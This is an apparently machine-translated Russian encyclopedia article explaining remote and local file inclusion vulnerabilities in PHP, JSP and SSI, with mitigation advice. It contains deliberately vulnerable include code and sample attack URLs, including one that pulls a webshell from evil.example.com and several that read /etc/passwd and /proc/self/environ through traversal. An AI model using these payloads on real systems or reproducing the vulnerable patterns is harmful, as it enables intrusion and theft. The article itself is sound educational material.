Уязвимость включения файлов - File inclusion vulnerability
Уязвимость включения файла является типом веб - уязвимости , которые наиболее часто встречаются , чтобы повлиять на веб - приложение , которые полагаются на скриптовое время выполнения . Эта проблема возникает, когда приложение создает путь к исполняемому коду с помощью переменной, контролируемой злоумышленником, таким образом, чтобы злоумышленник мог контролировать, какой файл выполняется во время выполнения. Уязвимость, связанная с включением файлов, отличается от обычной атаки с обходом каталогов , поскольку обход каталога является способом получения несанкционированного доступа к файловой системе , а уязвимость, связанная с включением файлов, подрывает то, как приложение загружает код для выполнения. Успешное использование уязвимости, связанной с включением файлов, приведет к удаленному выполнению кода на веб-сервере , на котором запущено уязвимое веб-приложение. Злоумышленник может использовать удаленное выполнение кода для создания веб-оболочки на веб-сервере, которая может использоваться для искажения веб-сайта .
Типы включения
Удаленное включение файлов
Включение удаленного файла ( RFI ) происходит, когда веб-приложение загружает и выполняет удаленный файл. Эти удаленные файлы обычно получаются в форме HTTP или FTP URI в качестве пользовательского параметра веб-приложения.
Включение локального файла
Локальное включение файлов ( LFI ) похоже на уязвимость удаленного включения файлов, за исключением того, что вместо включения удаленных файлов для выполнения могут быть включены только локальные файлы, то есть файлы на текущем сервере. Эта проблема по-прежнему может приводить к удаленному выполнению кода, включая файл, содержащий данные, контролируемые злоумышленником, такие как журналы доступа веб-сервера.
Языки программирования
PHP
В PHP основная причина связана с использованием непроверенного пользовательского ввода с функцией файловой системы, которая включает файл для выполнения. Наиболее примечательными являются includeи requireзаявления. Большинство уязвимостей может быть отнесено на счет начинающих программистов, не знакомых со всеми возможностями языка программирования PHP. В языке PHP есть директива, которая, если она включена, позволяет функциям файловой системы использовать URL-адрес для получения данных из удаленных мест. Директива существует allow_url_fopenв версиях PHP <= 4.3.4 и allow_url_includeначиная с PHP 5.2.0. В PHP 5.x эта директива отключена по умолчанию, в предыдущих версиях она была включена по умолчанию. Чтобы воспользоваться уязвимостью, злоумышленник изменит переменную, передаваемую одной из этих функций, чтобы она включила вредоносный код с удаленного ресурса. Чтобы уменьшить эту уязвимость, все вводимые пользователем данные должны быть проверены перед использованием.
пример
Рассмотрим этот сценарий PHP, который включает файл, указанный по запросу:
<?php
if (isset($_GET['language'])) {
include($_GET['language'] . '.php');
}
?>
<form method="get">
<select name="language">
<option value="english">English</option>
<option value="french">French</option>
...
</select>
<input type="submit">
</form>
Разработчик намеревался прочитать english.phpили french.php, что изменит поведение приложения для отображения языка по выбору пользователя. Но можно ввести другой путь с помощью languageпараметра.
-
/vulnerable.php?language=http://evil.example.com/webshell.txt?- внедряет удаленно размещенный файл, содержащий вредоносный код (включая удаленный файл) -
/vulnerable.php?language=C:\\ftp\\upload\\exploit- Выполняет код из уже загруженного файла с именемexploit.php(уязвимость включения локального файла) -
/vulnerable.php?language=C:\\notes.txt%00- пример использования метасимвола NULL для удаления суффикса, разрешающего доступ к файлам, отличным от . Это использование инъекции нулевого байта было исправлено в PHP 5.3 и больше не может использоваться для атак LFI / RFI..php.php -
/vulnerable.php?language=../../../../../etc/passwd%00- позволяет злоумышленнику прочитать содержимое/etc/passwdфайла в Unix-подобной системе с помощью атаки обхода каталогов . -
/vulnerable.php?language=../../../../../proc/self/environ%00- позволяет злоумышленнику прочитать содержимое/proc/self/environфайла в Unix-подобной системе с помощью атаки обхода каталогов . Злоумышленник может изменить HTTP- заголовок (например,User-Agent) в этой атаке на PHP-код для использования удаленного выполнения кода .
Лучшее решение в этом случае - использовать белый список приемлемых языковых параметров. Если нельзя использовать надежный метод проверки ввода, такой как белый список, то полагайтесь на фильтрацию ввода или проверку переданного пути, чтобы убедиться, что он не содержит непредусмотренных символов и шаблонов символов. Однако для этого может потребоваться предвидеть все возможные проблемные комбинации символов. Более безопасным решением является использование предопределенного оператора Switch / Case для определения файла, который нужно включить, вместо использования URL-адреса или параметра формы для динамического создания пути.
JavaServer Pages (JSP)
JavaServer Pages (JSP) - это язык сценариев, который может включать файлы для выполнения во время выполнения.
пример
Следующий сценарий уязвим для уязвимости включения файлов:
<%
String p = request.getParameter("p");
@include file="<%="includes/" + p +".jsp"%>"
%>
-
/vulnerable.jsp?p=../../../../var/log/access.log%00- В отличие от PHP, JSP по-прежнему зависит от инъекции нулевого байта, и этот параметр будет выполнять команды JSP, найденные в журнале доступа веб-сервера.
Серверные компоненты (SSI)
Server Side Include очень редко и , как правило , не включены на веб - сервере по умолчанию а. Серверное включение можно использовать для удаленного выполнения кода на уязвимом веб-сервере.
пример
Следующий код уязвим для уязвимости удаленного включения файлов:
<!DOCTYPE html>
<html>
<head>
<title>Test file</title>
</head>
<body>
<!--#include file="USER_LANGUAGE"-->
</body>
</html>
Приведенный выше код не является XSS-уязвимостью , а скорее включает новый файл, который должен быть выполнен сервером.
Смотрите также
- Атака (вычисление)
- Внедрение кода
- Metasploit Project , инструмент для тестирования на проникновение с открытым исходным кодом, который включает тесты на RFI
- SQL-инъекция
- Угроза (компьютер)
- w3af , сканер безопасности веб-приложений с открытым исходным кодом
- Уязвимость учетных данных по умолчанию
Ссылки
внешние ссылки
- Удаленное включение файлов в Консорциуме безопасности веб-приложений
- Включение локального файла
- Локальное включение и удаление файлов WordPress в справке WP Hacked